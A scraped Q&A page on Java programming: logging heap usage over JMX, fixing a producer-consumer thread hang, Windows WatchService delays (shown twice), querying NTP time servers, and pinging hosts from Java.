I would like to monitor the used java heap size of a jboss service running on windows during serveral days. I first try to use perfmon from windows but I didn't get the value I expected. I can hook jvisualvm to this this service using jmx (server:port), I can also use jconsole or jmc (java mission control). Indeed I cannot use flight recording due to the jvm version.
With jcmd or jstat, I cannot see the process I'm interested in. As I'm new in Java, could someone suggest an application or script which would allow me to catpure those value and push them to a text file for example. I could code something in .Net as well if a library would exist.
Thanks
Below java code records the Java Heap usage (2 mins once by default) to a text file. You can change the code as per your needs. Change the private String jmxUrl = ... as per your environment.
package com.heap.monitor;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.lang.management.*;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import javax.management.*;
import javax.management.remote.*;
public class HeapMonitor extends Thread {
private JMXServiceURL jmxService = null;
private JMXConnector jmxConnector = null;
protected MBeanServerConnection beanServerConn = null;
private long frequency = 2 * 60 * 1000L; // 2 mins only collects Heap metrics
private String jmxUrl = "service:jmx:rmi:///jndi/rmi://192.168.8.252:12222/jmxrmi";
private String userName = "none";
private String passWord = "none";
public static void main(String[] args) throws InterruptedException {
HeapMonitor heapMonitor = new HeapMonitor();
heapMonitor.join();
}
public HeapMonitor() {
this.start();
}
public void run() {
boolean flag = true;
while(flag) {
try {
beanServerConn = connectToJVM(jmxUrl, userName, passWord);
if(beanServerConn!=null) {
MemoryMXBean mxbean = (MemoryMXBean) ManagementFactory.newPlatformMXBeanProxy(beanServerConn, ManagementFactory.MEMORY_MXBEAN_NAME, MemoryMXBean.class);
try
{
MemoryUsage heapUsage = mxbean.getHeapMemoryUsage();
long used = heapUsage.getUsed();
long max = heapUsage.getMax();
long commited = heapUsage.getCommitted();
long init = heapUsage.getInit();
StringBuffer buffer = new StringBuffer();
Date date = new Date();
buffer.append(date).append(" - ");
buffer.append(init).append(" ").append(commited).append(" ").append(max).append(" ").append(used);
//System.out.println(buffer.toString());
appendStrToFile("heap.txt" , buffer.toString());
}
catch(Exception ee) {
ee.printStackTrace();
}
}
}
catch(Exception e) {
e.printStackTrace();
}
try {
Thread.sleep(frequency);
}
catch(Exception e) {
e.printStackTrace();
}
}
}
protected MBeanServerConnection connectToJVM(String jvmURL, String user, String pass)
{
beanServerConn = null ;
try
{
jmxService = new JMXServiceURL(jvmURL);
Map environment = new HashMap();
int jmxconnect_timeout = 30000;
environment.put("jmx.remote.x.request.waiting.timeout", Long.toString(jmxconnect_timeout));
if(user.equalsIgnoreCase("none")|| (pass.equalsIgnoreCase("none"))){
try{
jmxConnector = JMXConnectorFactory.connect(jmxService,environment);
beanServerConn = jmxConnector.getMBeanServerConnection();
}
catch(IOException ioe){
}
}
else
{
String [] credentials={user,pass};
environment.put(JMXConnector.CREDENTIALS, credentials);
try{
jmxConnector = JMXConnectorFactory.connect(jmxService,environment);
beanServerConn = jmxConnector.getMBeanServerConnection();
}
catch(IOException ioe){
}
}
beanServerConn = jmxConnector.getMBeanServerConnection();
if(beanServerConn == null)
{
System.out.println("Connection to JVM is not established for jvmURL : " + jvmURL);
closeJVMConn();
}
}
catch(Exception ex)
{
System.out.println("Connection to JVM is not established for jvmURL : " + jvmURL);
closeJVMConn();
}
return beanServerConn;
}
public void closeJVMConn(){
try{
beanServerConn = null;
if(jmxConnector != null)
jmxConnector.close();
}
catch(Exception ex){
return;
}
}
public void appendStrToFile(String fileName, String str) {
try {
// Open given file in append mode.
BufferedWriter out = new BufferedWriter(new FileWriter(fileName, true));
out.write(str);
out.newLine();
out.close();
}
catch (IOException e) {
System.out.println("exception occoured" + e);
}
}
}
Using Jconsole, you can view and capture the Heap/Non-Heap Memory usage (also CPU, Threads, etc). In the Jconsole a small popup windows appears when Right Click Heap Memory Usage Graph as shown in the screenshot. You can save the data in the .csv format for the selected time range.
Related
I am working on a Java process that contains 2 threads: one for reading a file's contents and adding them in one shared blocking queue; and one for retrieving the lines from the blocking queue and sending them through the network (under a specified send rate). The two classes I have are the following:
Updated Code below
Producer Thread:
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.util.concurrent.ArrayBlockingQueue;
public class SourceFileProducer implements Runnable {
private File file;
private BufferedReader reader;
private ArrayBlockingQueue<String> buffer;
private String fileName;
private String endMarker;
public SourceFileProducer(ArrayBlockingQueue<String> buffer,
String endMarker, String fileName) {
this.buffer = buffer;
this.endMarker = endMarker;
file = new File(fileName);
if(file.exists()) {
try {
reader = new BufferedReader(new FileReader(file));
} catch (FileNotFoundException e) {
e.printStackTrace();
}
}
this.fileName = fileName;
}
#Override
public void run() {
System.out.println("SourceFileProducer thread-" + Thread.currentThread().getId() + " initiating with source file: " + fileName);
String line = "";
try {
while((line = reader.readLine()) != null) {
try {
buffer.put(line);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
try {
buffer.put(endMarker);
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println("SourceFileProducer thread-" + Thread.currentThread().getId() + " scanned and buffered the whole file.");
} catch (IOException e) {
e.printStackTrace();
}
}
}
and the Consumer thread:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.concurrent.ArrayBlockingQueue;
public class SourceFileConsumer implements Runnable {
private ArrayBlockingQueue<String> buffer;
private BufferedReader socketInput;
private PrintWriter socketOutput;
private Socket client;
private ServerSocket serverSocket;
private long checkpoint[] = null;
private int rate[] = null;
private String endMarker;
public SourceFileConsumer(ArrayBlockingQueue<String> buffer, String endMarker,
ServerSocket serverSocket, Socket client, long checkpoint[], int rate[]) {
this.buffer = buffer;
this.endMarker = endMarker;
this.client = client;
try {
socketOutput = new PrintWriter(client.getOutputStream(), true);
socketInput = new BufferedReader(new InputStreamReader(client.getInputStream()));
} catch (IOException e) {
e.printStackTrace();
}
this.checkpoint = new long[checkpoint.length];
this.rate = new int[rate.length];
for(int i = 0; i < checkpoint.length; i++) {
this.checkpoint[i] = checkpoint[i];
this.rate[i] = rate[i];
}
this.serverSocket = serverSocket;
}
#Override
public void run() {
String line = null;
long start = System.currentTimeMillis();
int index = 0;
boolean fileScanFlag = true;
while(fileScanFlag) {
long startTimestamp = System.currentTimeMillis();
long interval = (startTimestamp - start) / 1000L;
if(interval >= checkpoint[index]) {
if(index < checkpoint.length - 1) {
if(interval >= checkpoint[index + 1]) {
index += 1;
System.out.println("SourceFileConsumer thread-" + Thread.currentThread().getId() +
" progressed to checkpoint " + index + " with rate: " + rate[index]);
}
}
}
int counter = 0;
while(counter < rate[index]) {
try {
line = buffer.take();
} catch (InterruptedException e1) {
e1.printStackTrace();
}
if(line == endMarker) {
fileScanFlag = false;
break;
}
if(socketOutput != null && socketOutput.checkError()) {
System.out.println("SourceFileConsumer Thread-" + Thread.currentThread().getId() + " detected broken link...");
try {
client = serverSocket.accept();
socketOutput = new PrintWriter(client.getOutputStream(), true);
socketInput = new BufferedReader(new InputStreamReader(client.getInputStream()));
} catch(IOException e) {
e.printStackTrace();
}
System.out.println("SourceFileConsumer Thread-" + Thread.currentThread().getId() + " re-established connection...");
}
if(socketOutput != null)
socketOutput.println(line);
counter += 1;
}
long endTimestamp = System.currentTimeMillis();
if(endTimestamp - startTimestamp <= 1000) {
System.out.println("thread-" + Thread.currentThread().getId() + " input rate: " + counter +
", wait time: " + (1000 - (endTimestamp - startTimestamp)));
try {
Thread.sleep((1000 - (endTimestamp - startTimestamp)));
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
if(socketInput != null && socketOutput != null && client != null) {
try {
socketInput.close();
socketOutput.close();
client.close();
} catch(IOException e) {
e.printStackTrace();
}
}
System.out.println("SourceFileConsumer Thread-" + Thread.currentThread().getId() + " transfer complete.");
}
}
The problem is that, after a while, both threads hang and no tuples are sent. When I run a top command in my Linux machine, I see that the Java process, in which the two threads are running in, uses a really small amount of CPU time. Why is this happening? Is this a problem with starvation? I think that starvation can be avoided by using the LinkedBlockingQueue.
Any hints?
Thanks,
Nick
That’s quite a lot of code, especially within your consumer. So it’s not possible to preclude that there are multiple errors. I recommend to simplify your code to narrow the problem, e.g. test your producer-consumer hand-off and the network operations independently.
One obvious problem is that you are trying to signal the end of a file via an AtomicBoolean but your consumer isn’t actually testing it before taking items. If you look at the place where it takes items, there is an inner loop:
while(counter < rate[index]) {
try {
line = buffer.take();
…
Since the producer has no influence on the counter < rate[index] condition, it has no control over how many lines the consumer will attempt to take before checking the state of the fileScanFlag.
But even if you try to fix this by checking the boolean flag right before take, the result is broken due to possible race conditions. The atomic boolean and the blocking queue are both thread-safe on their own but your combination of the two is not.
Putting the last item on the queue and setting the flag are two distinct operations. Right in-between these two actions, the consumer can take the last item, recheck the flag and find it being false and go to the next attempt to take while the producer is about to set it to true.
One solution is to change the order of the operations on the consumer side, which requires resorting to polling:
polling: for(;;) {
line = buffer.poll(timeout, timeOutUnit); // control the cpu consumption via timeout
if(line!=null) break polling;
if(fileScanFlag.get()) break outerLoop;
}
An alternative is not to use two different communication constructs. Instead of maintaining a boolean flag, place an end marker object to the queue once the file reached an end. This is one of the rare cases, where using the identity of a String rather than equals is appropriate:
public class SourceFileProducer implements Runnable {
private String endMarker;
…
public SourceFileProducer(LinkedBlockingQueue<String> buffer,
String endMarker, String fileName) {
this.buffer = buffer;
this.endMarker = endMarker;
…
#Override
public void run() {
System.out.println("SourceFileProducer thread-" + Thread.currentThread().getId()
+ " initiating with source file: " + fileName);
String line;
try {
while((line = reader.readLine()) != null) buffer.put(line);
} catch (IOException|InterruptedException e) {
e.printStackTrace();
}
buffer.put(endMarker);
}
public class SourceFileConsumer implements Runnable {
private String endMarker;
…
public SourceFileConsumer(LinkedBlockingQueue<String> buffer, String endMarker,
ServerSocket serverSocket, Socket client, long checkpoint[], int rate[]) {
this.buffer = buffer;
this.endMarker = endMarker;
…
line = buffer.take();
if(line==endMarker) break;
The value of the end marker doesn’t matter but it’s object identity. Hence, the code which creates the two threads must contain something like:
// using new to ensure unique identity
private static final String EOF = new String("end of file");
…
new SourceFileProducer(queue, EOF, …)
new SourceFileConsumer(queue, EOF, …)
The new operator guarantees to produce an object with a unique identity, therefore, comparing that marker object with any other String, i.e. the lines returned by BufferedReader, via == will always evaluate to false. Care must be taken not to let the marker object escape to code not knowing about its special role.
This code works fine in Linux but not in Windows 7: to get file contents update I have to click on the output file. Where is the trick?
I am using Windows 7 prof, NetBeans IDE 8.0 RC1 (Build 201402242200) updated to version NetBeans 8.0 Patch 1.1, JDK 1.8
package watchfilethreadmod;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.nio.file.Files;
import static java.nio.file.LinkOption.NOFOLLOW_LINKS;
import java.nio.file.Path;
import java.nio.file.Paths;
import static java.nio.file.StandardWatchEventKinds.*;
import java.nio.file.WatchEvent;
import java.nio.file.WatchKey;
import java.nio.file.WatchService;
import java.util.ArrayList;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;
public class WatchFileThreadMod {
static class WatchFile {
String fileName;
long lastFilePos;
RandomAccessFile file;
public WatchFile(String _fileName, RandomAccessFile _file) {
fileName = _fileName;
lastFilePos = 0;
file = _file;
}
}
public static void shutDownListener(Thread thread) {
Thread thr = thread;
if (thr != null) {
thr.interrupt();
}
}
private static class MyWatchQueueReader implements Runnable {
/**
* the watchService that is passed in from above
*/
private WatchService myWatcher;
public ArrayList<WatchFile> threadFileToWatch;
public String dirPath;
public MyWatchQueueReader(String _dirPath, WatchService myWatcher, ArrayList<WatchFile> _threadFileToWatch) {
this.myWatcher = myWatcher;
this.threadFileToWatch = _threadFileToWatch;
this.dirPath = _dirPath;
}
private void openFile(WatchFile obj) {
try {
System.out.println("Open file "+obj.fileName);
obj.file = new RandomAccessFile(dirPath + "/" + obj.fileName, "r");
} catch (FileNotFoundException e) {
obj.file = null;
System.out.println("filename " + obj.fileName + " non trovato");
}
obj.lastFilePos = 0;
}
private void process(WatchEvent evt) {
String thisLine;
ArrayList<WatchFile> auxList = threadFileToWatch;
for (WatchFile obj : auxList) {
if (obj.fileName.equals(evt.context().toString())) {
if (obj.file == null) {
openFile(obj);
}
try {
obj.file.seek(obj.lastFilePos);
} catch (IOException e) {
System.err.println("Seek error: " + e);
}
try {
thisLine = obj.file.readLine();
if ((thisLine == null)&&(evt.kind() == ENTRY_MODIFY)) {
System.out.printf("---> thisLine == null received %s event for file: %s\n",
evt.kind(), evt.context());
obj.file.close();
System.out.println("Close file "+obj.fileName);
openFile(obj);
thisLine = obj.file.readLine();
}
while (thisLine != null) { // while loop begins here
if (thisLine.length() > 0) {
if (thisLine.substring(thisLine.length() - 1).equals("*")) {
obj.lastFilePos = obj.file.getFilePointer();
System.out.println(obj.fileName + ": " + thisLine);
}
}
thisLine = obj.file.readLine();
} // end while
} // end try
catch (IOException e) {
System.err.println("Error: " + e);
}
}
}
}
/**
* In order to implement a file watcher, we loop forever ensuring
* requesting to take the next item from the file watchers queue.
*/
#Override
public void run() {
try {
// get the first event before looping
WatchKey key = myWatcher.take();
while (key != null) {
// we have a polled event, now we traverse it and
// receive all the states from it
for (WatchEvent event : key.pollEvents()) {
WatchEvent.Kind eventType = event.kind();
if (eventType == OVERFLOW) {
continue;
}
process(event);
}
key.reset();
key = myWatcher.take();
}
} catch (InterruptedException e) {
ArrayList<WatchFile> auxList = threadFileToWatch;
for (WatchFile obj : auxList) {
if (obj.file != null) {
try {
obj.file.close();
System.out.println("chiusura file " + obj.fileName);
} catch (IOException ex) {
System.out.println("errore in chiusura file");
Logger.getLogger(WatchFileThreadMod.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
//e.printStackTrace();
}
System.out.println("Stopping thread");
}
}
public static void main(String[] args) throws Exception {
// get the directory we want to watch, using the Paths singleton class
//Path toWatch = Paths.get(DIRECTORY_TO_WATCH);
ArrayList<WatchFile> fileToWatch = new ArrayList<>();
String filename;
RandomAccessFile file;
fileToWatch.add(new WatchFile("EURUSD.rlt", new RandomAccessFile(args[0] + "/EURUSD.rlt", "r")));
filename = "EURCHF2.rlt";
try {
file = new RandomAccessFile(args[0] + "/" + filename, "r");
} catch (FileNotFoundException e) {
file = null;
System.out.println("filename " + filename + " non trovato");
}
fileToWatch.add(new WatchFile(filename, file));
fileToWatch = fileToWatch;
Path toWatch = Paths.get(args[0]);
if (toWatch == null) {
throw new UnsupportedOperationException("Directory not found");
}
// Sanity check - Check if path is a folder
try {
Boolean isFolder = (Boolean) Files.getAttribute(toWatch,
"basic:isDirectory", NOFOLLOW_LINKS);
if (!isFolder) {
throw new IllegalArgumentException("Path: " + toWatch + " is not a folder");
}
} catch (IOException ioe) {
// Folder does not exists
ioe.printStackTrace();
}
// make a new watch service that we can register interest in
// directories and files with.
WatchService myWatcher = toWatch.getFileSystem().newWatchService();
// start the file watcher thread below
MyWatchQueueReader fileWatcher = new MyWatchQueueReader(args[0], myWatcher, fileToWatch);
Thread processingThread = new Thread(fileWatcher, "FileWatcher");
processingThread.start();
toWatch.register(myWatcher, ENTRY_CREATE, ENTRY_MODIFY);
}
}
Edit: reduced code as requested.
Edit 2: file path
Edit 3: Metatrader code I am using to write data
#property strict
int file_handle;
string InpFileName = _Symbol + ".rlt"; // File name
input string InpDirectoryName = "Data"; // Folder name
int OnInit()
{
ResetLastError();
file_handle = FileOpen(InpDirectoryName + "//" + InpFileName, FILE_SHARE_READ|FILE_WRITE|FILE_TXT|FILE_ANSI);
if(file_handle == INVALID_HANDLE) {
PrintFormat("Failed to open %s file, Error code = %d", InpFileName, GetLastError());
ExpertRemove();
}
return INIT_SUCCEEDED;
}
void OnTick()
{
// file_handle = FileOpen(InpDirectoryName + "//" + InpFileName, FILE_SHARE_READ|FILE_WRITE|FILE_TXT|FILE_ANSI);
// Datetime), Bid, Volume
// string s = FileRead()
string s = TimeToStr(TimeGMT()) + "|" + Bid + "|" + Volume[0];
FileWriteString(file_handle, s + "|*\r\n");
FileFlush(file_handle);
//FileClose(file_handle);
}
void OnDeinit(const int reason)
{
FileClose(file_handle);
}
Edit 4: Screencast to better show my issue: data updates only when I click on the output file
Watch Service does not update
First of all, a premise : I'm answering this question primarily for future users of WatchService, which (like me) could experience this problem (i.e. on some systems events are signaled way after they occur).
The problem is that the implementation of this feature in Java is native, so it is platform-dependant (take a look at https://docs.oracle.com/javase/7/docs/api/java/nio/file/WatchService.html, under the section 'platform dependencies').
In particular, on Windows 7 (and MacOSX afaict) the implementation uses polling to retrieve the changes from the filesystem, so you can't rely on the 'liveliness' of notifications from a WatchService. The notifications will eventually be signaled, but there are no guarantees on when it will happen.
I don't have a rigorous solution to this problem, but after a lot of trial and error I can describe what works for me :
First, when writing to a file that is registered (i.e. 'watched'), I try to flush the content every time I can and update the 'last modified' attribute on the file, e.g. :
try (FileWriter writer = new FileWriter(outputFile)) {
writer.write("The string to write");
outputFile.setLastModified(System.currentTimeMillis());
writer.flush();
}
Second, I try to 'trigger' the refresh from code (I know it's not good code, but in this case, I'm just happy it works 99% of the time)
Thread.sleep(2000);
// in case I've just created a file and I'm watching the ENTRY_CREATE event on outputDir
outputDir.list();
or (if watching ENTRY_MODIFY on a particular file in outputDir)
Thread.sleep(2000);
outputFile.length();
In both cases, a sleep call simply 'gives the time' to the mechanism underlying the WatchService to trigger, even though 2 seconds are probably a lot more than it is needed.
Probably missing quotes on file path.
This code works fine in Linux but not in Windows 7: to get file contents update I have to click on the output file. Where is the trick?
I am using Windows 7 prof, NetBeans IDE 8.0 RC1 (Build 201402242200) updated to version NetBeans 8.0 Patch 1.1, JDK 1.8
package watchfilethreadmod;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.nio.file.Files;
import static java.nio.file.LinkOption.NOFOLLOW_LINKS;
import java.nio.file.Path;
import java.nio.file.Paths;
import static java.nio.file.StandardWatchEventKinds.*;
import java.nio.file.WatchEvent;
import java.nio.file.WatchKey;
import java.nio.file.WatchService;
import java.util.ArrayList;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;
public class WatchFileThreadMod {
static class WatchFile {
String fileName;
long lastFilePos;
RandomAccessFile file;
public WatchFile(String _fileName, RandomAccessFile _file) {
fileName = _fileName;
lastFilePos = 0;
file = _file;
}
}
public static void shutDownListener(Thread thread) {
Thread thr = thread;
if (thr != null) {
thr.interrupt();
}
}
private static class MyWatchQueueReader implements Runnable {
/**
* the watchService that is passed in from above
*/
private WatchService myWatcher;
public ArrayList<WatchFile> threadFileToWatch;
public String dirPath;
public MyWatchQueueReader(String _dirPath, WatchService myWatcher, ArrayList<WatchFile> _threadFileToWatch) {
this.myWatcher = myWatcher;
this.threadFileToWatch = _threadFileToWatch;
this.dirPath = _dirPath;
}
private void openFile(WatchFile obj) {
try {
System.out.println("Open file "+obj.fileName);
obj.file = new RandomAccessFile(dirPath + "/" + obj.fileName, "r");
} catch (FileNotFoundException e) {
obj.file = null;
System.out.println("filename " + obj.fileName + " non trovato");
}
obj.lastFilePos = 0;
}
private void process(WatchEvent evt) {
String thisLine;
ArrayList<WatchFile> auxList = threadFileToWatch;
for (WatchFile obj : auxList) {
if (obj.fileName.equals(evt.context().toString())) {
if (obj.file == null) {
openFile(obj);
}
try {
obj.file.seek(obj.lastFilePos);
} catch (IOException e) {
System.err.println("Seek error: " + e);
}
try {
thisLine = obj.file.readLine();
if ((thisLine == null)&&(evt.kind() == ENTRY_MODIFY)) {
System.out.printf("---> thisLine == null received %s event for file: %s\n",
evt.kind(), evt.context());
obj.file.close();
System.out.println("Close file "+obj.fileName);
openFile(obj);
thisLine = obj.file.readLine();
}
while (thisLine != null) { // while loop begins here
if (thisLine.length() > 0) {
if (thisLine.substring(thisLine.length() - 1).equals("*")) {
obj.lastFilePos = obj.file.getFilePointer();
System.out.println(obj.fileName + ": " + thisLine);
}
}
thisLine = obj.file.readLine();
} // end while
} // end try
catch (IOException e) {
System.err.println("Error: " + e);
}
}
}
}
/**
* In order to implement a file watcher, we loop forever ensuring
* requesting to take the next item from the file watchers queue.
*/
#Override
public void run() {
try {
// get the first event before looping
WatchKey key = myWatcher.take();
while (key != null) {
// we have a polled event, now we traverse it and
// receive all the states from it
for (WatchEvent event : key.pollEvents()) {
WatchEvent.Kind eventType = event.kind();
if (eventType == OVERFLOW) {
continue;
}
process(event);
}
key.reset();
key = myWatcher.take();
}
} catch (InterruptedException e) {
ArrayList<WatchFile> auxList = threadFileToWatch;
for (WatchFile obj : auxList) {
if (obj.file != null) {
try {
obj.file.close();
System.out.println("chiusura file " + obj.fileName);
} catch (IOException ex) {
System.out.println("errore in chiusura file");
Logger.getLogger(WatchFileThreadMod.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
//e.printStackTrace();
}
System.out.println("Stopping thread");
}
}
public static void main(String[] args) throws Exception {
// get the directory we want to watch, using the Paths singleton class
//Path toWatch = Paths.get(DIRECTORY_TO_WATCH);
ArrayList<WatchFile> fileToWatch = new ArrayList<>();
String filename;
RandomAccessFile file;
fileToWatch.add(new WatchFile("EURUSD.rlt", new RandomAccessFile(args[0] + "/EURUSD.rlt", "r")));
filename = "EURCHF2.rlt";
try {
file = new RandomAccessFile(args[0] + "/" + filename, "r");
} catch (FileNotFoundException e) {
file = null;
System.out.println("filename " + filename + " non trovato");
}
fileToWatch.add(new WatchFile(filename, file));
fileToWatch = fileToWatch;
Path toWatch = Paths.get(args[0]);
if (toWatch == null) {
throw new UnsupportedOperationException("Directory not found");
}
// Sanity check - Check if path is a folder
try {
Boolean isFolder = (Boolean) Files.getAttribute(toWatch,
"basic:isDirectory", NOFOLLOW_LINKS);
if (!isFolder) {
throw new IllegalArgumentException("Path: " + toWatch + " is not a folder");
}
} catch (IOException ioe) {
// Folder does not exists
ioe.printStackTrace();
}
// make a new watch service that we can register interest in
// directories and files with.
WatchService myWatcher = toWatch.getFileSystem().newWatchService();
// start the file watcher thread below
MyWatchQueueReader fileWatcher = new MyWatchQueueReader(args[0], myWatcher, fileToWatch);
Thread processingThread = new Thread(fileWatcher, "FileWatcher");
processingThread.start();
toWatch.register(myWatcher, ENTRY_CREATE, ENTRY_MODIFY);
}
}
Edit: reduced code as requested.
Edit 2: file path
Edit 3: Metatrader code I am using to write data
#property strict
int file_handle;
string InpFileName = _Symbol + ".rlt"; // File name
input string InpDirectoryName = "Data"; // Folder name
int OnInit()
{
ResetLastError();
file_handle = FileOpen(InpDirectoryName + "//" + InpFileName, FILE_SHARE_READ|FILE_WRITE|FILE_TXT|FILE_ANSI);
if(file_handle == INVALID_HANDLE) {
PrintFormat("Failed to open %s file, Error code = %d", InpFileName, GetLastError());
ExpertRemove();
}
return INIT_SUCCEEDED;
}
void OnTick()
{
// file_handle = FileOpen(InpDirectoryName + "//" + InpFileName, FILE_SHARE_READ|FILE_WRITE|FILE_TXT|FILE_ANSI);
// Datetime), Bid, Volume
// string s = FileRead()
string s = TimeToStr(TimeGMT()) + "|" + Bid + "|" + Volume[0];
FileWriteString(file_handle, s + "|*\r\n");
FileFlush(file_handle);
//FileClose(file_handle);
}
void OnDeinit(const int reason)
{
FileClose(file_handle);
}
Edit 4: Screencast to better show my issue: data updates only when I click on the output file
Watch Service does not update
First of all, a premise : I'm answering this question primarily for future users of WatchService, which (like me) could experience this problem (i.e. on some systems events are signaled way after they occur).
The problem is that the implementation of this feature in Java is native, so it is platform-dependant (take a look at https://docs.oracle.com/javase/7/docs/api/java/nio/file/WatchService.html, under the section 'platform dependencies').
In particular, on Windows 7 (and MacOSX afaict) the implementation uses polling to retrieve the changes from the filesystem, so you can't rely on the 'liveliness' of notifications from a WatchService. The notifications will eventually be signaled, but there are no guarantees on when it will happen.
I don't have a rigorous solution to this problem, but after a lot of trial and error I can describe what works for me :
First, when writing to a file that is registered (i.e. 'watched'), I try to flush the content every time I can and update the 'last modified' attribute on the file, e.g. :
try (FileWriter writer = new FileWriter(outputFile)) {
writer.write("The string to write");
outputFile.setLastModified(System.currentTimeMillis());
writer.flush();
}
Second, I try to 'trigger' the refresh from code (I know it's not good code, but in this case, I'm just happy it works 99% of the time)
Thread.sleep(2000);
// in case I've just created a file and I'm watching the ENTRY_CREATE event on outputDir
outputDir.list();
or (if watching ENTRY_MODIFY on a particular file in outputDir)
Thread.sleep(2000);
outputFile.length();
In both cases, a sleep call simply 'gives the time' to the mechanism underlying the WatchService to trigger, even though 2 seconds are probably a lot more than it is needed.
Probably missing quotes on file path.
I try to use the following code to obtain time from public time server.
package aaa;
import java.util.Arrays;
import java.util.List;
import org.apache.commons.net.TimeTCPClient;
public final class Main
{
public static java.util.Date getNTPDate() {
List<String> hosts = Arrays.asList("0.pool.ntp.org");
for (String host : hosts) {
TimeTCPClient client = new TimeTCPClient();
// We want to timeout if a response takes longer than 5 seconds
client.setDefaultTimeout(5000);
try {
client.connect(host);
java.util.Date ntpDate = client.getDate();
client.disconnect();
// Just to be extra caution.
if (ntpDate != null) {
return ntpDate;
}
}
catch (java.net.SocketException exp) {
exp.printStackTrace();
}
catch (java.io.IOException exp) {
exp.printStackTrace();
}
}
return null;
}
public static final void main(String[] args)
{
System.out.println(getNTPDate());
}
}
However, all the time, I am getting java.net.ConnectException: Connection timed out: connect
I had tried to google for several different time server. However, non of them work. I was wondering, is the problem lies on my code, or the server I choose?
NTP is a different protocol than the time protocol. NTP servers only talk over port UDP/123. Time servers use TCP/37 (which TimeTCPClient appears to implement correctly).
If you want to get a remote time, use an appropriate server (ntp.xs4all.nl appears to be listening on the time port).
You can use the correct approach:
import java.io.IOException;
import java.net.InetAddress;
import java.util.Date;
import org.apache.commons.net.ntp.NTPUDPClient;
import org.apache.commons.net.ntp.TimeInfo;
public final class PublicServerTime {
public static Date getNTPDate() {
String[] hosts = new String[]{
"ntp02.oal.ul.pt", "ntp04.oal.ul.pt",
"ntp.xs4all.nl"};
NTPUDPClient client = new NTPUDPClient();
// We want to timeout if a response takes longer than 5 seconds
client.setDefaultTimeout(5000);
for (String host : hosts) {
try {
InetAddress hostAddr = InetAddress.getByName(host);
System.out.println("> " + hostAddr.getHostName() + "/" + hostAddr.getHostAddress());
TimeInfo info = client.getTime(hostAddr);
Date date = new Date(info.getReturnTime());
return date;
}
catch (IOException e) {
e.printStackTrace();
}
}
client.close();
return null;
}
public static final void main(String[] args) {
System.out.println(getNTPDate());
}
Source:
public class NTPService {
private final static Logger logger = Logger.getLogger(NTPService.class);
private final static int TIMEOUT = 5000;
private final static List<String> hostList =
Arrays.asList("time.windows.com", "nl.pool.ntp.org");
private final NTPUDPClient client = new NTPUDPClient();
public NTPService() {
client.setDefaultTimeout(TIMEOUT);
}
public LocalDateTime getNTPDateTime() {
for (final String host : hostList) {
final LocalDateTime localDateTime = getNTPDateTime(host);
if (null != localDateTime) {
return localDateTime;
}
}
return null;
}
private LocalDateTime getNTPDateTime(final String host) {
try {
client.open();
return convertToLocalDateTime(
TimeStamp.getNtpTime(client.getTime(InetAddress.getByName(host))
.getReturnTime()).getTime());
} catch (final Exception exp) {
logger.warn(String.format("%s: failed to update NTP", host), exp);
return null;
} finally {
if (client.isOpen()) {
client.close();
}
}
}
private LocalDateTime convertToLocalDateTime(final long value) {
return LocalDateTime.ofInstant(Instant.ofEpochMilli(value),
ZoneId.systemDefault());
}
}
Usage:
System.out.println(DateTimeFormatter.ofPattern("yyyy.MM.dd HH:mm:ss").
format(new NTPService().getNTPDateTime()));
I have a device on a network that I am attempting to ping through my Java program. Through my windows command prompt, I can ping the device address fine and do a tracert on the address fine.
Online, I have seen that in order to do a ping through Java you have to do the following:
InetAddress.getByName(address).isReachable(timeout);
But, when I use this code on my device address, it always returns false in my program. I am using the correct IPv4 address with a good timeout value. Also, if I use a localhost address, it works fine.
Why can I ping the device through cmd, but not through my program? I have heard in various places that this is not a true ping.
Is there a better way to emulate a ping in Java?
Thanks
isReachable() will use ICMP ECHO REQUESTs if the privilege can be obtained, otherwise it will try to establish a TCP connection on port 7 (Echo) of the destination host.
Thus your problem is probably a configuration issue of not enough permissions to do this on the client machine or a port 7 issue on the server if your client doesn't have permission to do the ICMP ECHO REQUEST. Probably both in your case, you need to resolve one side or the other to get this to work.
I tested the following on OSX and Linux clients and it works when testing for reachablity of other OSX, Linux and Windows Server machines. I don't have a Windows machine to run this as a client.
import java.io.IOException;
import java.net.InetAddress;
public class IsReachable
{
public static void main(final String[] args) throws IOException
{
final InetAddress host = InetAddress.getByName(args[0]);
System.out.println("host.isReachable(1000) = " + host.isReachable(1000));
}
}
from what I read here. It is apparently a Windows limitation and ICMP PING isn't supported on Windows as a system call previous to Windows 2000, so it defaults to try and connect to Port 7 and that is blocked on the machine you are trying to "reach". Java doesn't support the new native system call yet. The permissions thing is for Unix based system as they require root to send ICMP packets.
If you want to roll your own Windows native JNI ICMP PING for Windows 2000 and newer there is the IcmpSendEcho Function.
I use this function (from this article) when I need a real ICMP ping in Windows, Linux and OSX (I have not tested other systems).
public static boolean isReachableByPing(String host) {
try{
String cmd = "";
if(System.getProperty("os.name").startsWith("Windows")) {
// For Windows
cmd = "ping -n 1 " + host;
} else {
// For Linux and OSX
cmd = "ping -c 1 " + host;
}
Process myProcess = Runtime.getRuntime().exec(cmd);
myProcess.waitFor();
if(myProcess.exitValue() == 0) {
return true;
} else {
return false;
}
} catch( Exception e ) {
e.printStackTrace();
return false;
}
}
A bit late, but I stumbled upon this while trying to do the same thing.
One workaround that worked for me and which I used was to just use the command line ping directly.
public static boolean ping(String host)
{
boolean isReachable = false;
try {
Process proc = new ProcessBuilder("ping", host).start();
int exitValue = proc.waitFor();
System.out.println("Exit Value:" + exitValue);
if(exitValue == 0)
isReachable = true;
} catch (IOException e1) {
System.out.println(e1.getMessage());
e1.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
return isReachable;
}
